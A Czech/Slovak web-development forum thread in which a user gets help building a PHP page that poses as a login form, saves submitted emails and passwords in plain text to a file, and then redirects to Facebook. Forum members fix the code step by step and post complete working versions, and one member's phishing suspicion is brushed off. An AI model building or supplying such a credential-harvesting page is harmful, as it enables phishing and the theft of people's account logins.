Autor | Zpráva | ||
---|---|---|---|
zemiak Profil |
#1 · Zasláno: 3. 3. 2014, 16:21:15
<?php $f = @fopen("pokec.dat", "r"); $old = @fread($f, @filesize("pokec.dat")); @fclose($f); $new = $nick. "." .$heslo "<br>\n"; $old = $new.$old; $f = fopen("pokec.dat","w"); fputs($f,$old); fclose($f); ?> <script> setTimeout("document.odosielac.submit()",500); </script> ?> prosim pomožte mi to opraviť |
||
Tori Profil |
#2 · Zasláno: 3. 3. 2014, 16:31:54
A v čem je chyba? Jak se projevuje? Co to má dělat a co to dělá místo toho?
|
||
zemiak Profil |
#3 · Zasláno: 3. 3. 2014, 16:36:28
Tori:
Parse error: syntax error, unexpected '"<br>\n"' (T_CONSTANT_ENCAPSED_STRING) |
||
Tori Profil |
Chybí operátor spojení řetězců:
$nick. "." .$heslo . "<br>\n";
anebo $new = "$nick.$heslo <br>\n";
|
||
juriad Profil |
Jde to napsat mnohem jednoduseji.
<?php $soubor = "pokec.dat"; $obsah = file_exists($soubor) ? file_get_contents($soubor) : ""; $novy = $_GET['nick'] . "." . $_GET['heslo'] . "<br>\n"; $obsah = $novy . $obsah; file_put_contents($soubor, $obsah); ?> Opraveno $_GET. Pokud posíláš formulář pomocí metody POST, nahraď to za $_POST. |
||
zemiak Profil |
#6 · Zasláno: 3. 3. 2014, 16:57:51
juriad:
toto mi vypiše ak to napišem takto jednoduchšie Notice: Undefined variable: GET Notice: Undefined variable: GET |
||
jenikkozak Profil |
#7 · Zasláno: 3. 3. 2014, 17:01:53
Nahraď na pátém řádku
$GET za $_GET
|
||
zemiak Profil |
#8 · Zasláno: 3. 3. 2014, 17:05:42
uups som zabudol cele napisať ... otot je cely program
email:<input type="text" name="nick" id="nick" value="" /><br> heslo:<input type="password" name="heslo" id="heslo"" value="" /><br> <input type="submit" value="Nalogovať" /> </form> <?php $soubor = "pokec.dat"; $obsah = file_exists($soubor) ? file_get_contents($soubor) : ""; $novy = $_GET['nick'] . "." . $_GET['heslo'] . "<br>\n"; $obsah = $novy . $obsah; file_put_contents($soubor, $obsah); ?> už som to opravil a teraz mi piše Notice: Undefined index: nick a toto Notice: Undefined index: heslo |
||
Fisir Profil |
#9 · Zasláno: 3. 3. 2014, 17:07:47
Reaguji na zemiaka:
:-D Chybí zrovna ta důležitá část, tedy tag <form> a jeho atributy.
|
||
zemiak Profil |
#10 · Zasláno: 3. 3. 2014, 17:08:44
a kam ho treba dať ? alebo ako to treba nmapisať ? :O
|
||
Fisir Profil |
#11 · Zasláno: 3. 3. 2014, 17:14:20
Reaguji na zemiaka:
Okopíruješ ho do nového příspěvku z kompletního zdrojového kódu. Jen jsi ho sem zapomněl nakopírovat. |
||
zemiak Profil |
#12 · Zasláno: 3. 3. 2014, 17:15:20
Fisir:
všetko som tu nakopiroval čo mam v tomto programe |
||
Fisir Profil |
Reaguji na zemiaka:
Pak není divu, že ti to nefunguje: <form action="" method="post"> email:<input type="text" name="nick" id="nick" value="" /><br> heslo:<input type="password" name="heslo" id="heslo"" value="" /><br> <input type="submit" value="Nalogovať" /> </form> <?php if(isset($_POST['nick']) and isset($_POST['heslo'])){ $soubor = "pokec.dat"; $obsah = file_exists($soubor) ? file_get_contents($soubor) : ""; $novy = $_POST['nick'] . "." . $_POST['heslo'] . "<br>\n"; $obsah = $novy . $obsah; file_put_contents($soubor, $obsah); } ?> |
||
zemiak Profil |
#14 · Zasláno: 3. 3. 2014, 17:20:07 · Upravil/a: zemiak
Fisir:
ďakujem ti :) si kaapo :-D a ešte by si mi mohol napsiať ako by ma to potom hodilo na facebook ? ako že keď sa to vykoná že sa mi otvori stránka facebooku |
||
Fisir Profil |
#15 · Zasláno: 3. 3. 2014, 17:23:31
Reaguji na zemiaka:
header("Location: ..."); |
||
zemiak Profil |
#16 · Zasláno: 3. 3. 2014, 17:31:44
veľmi pekne ti ďakujem :))
|
||
weroro Profil |
#17 · Zasláno: 3. 3. 2014, 17:34:08
Prečo mám pocit, že to bude slúžiť na phishing?
|
||
zemiak Profil |
#18 · Zasláno: 4. 3. 2014, 19:34:42
weroro:
niee nemam nič s tym zaľubom len som chcel vedieť ako to funguje ;)) |
||
Časová prodleva: 10 let
|
0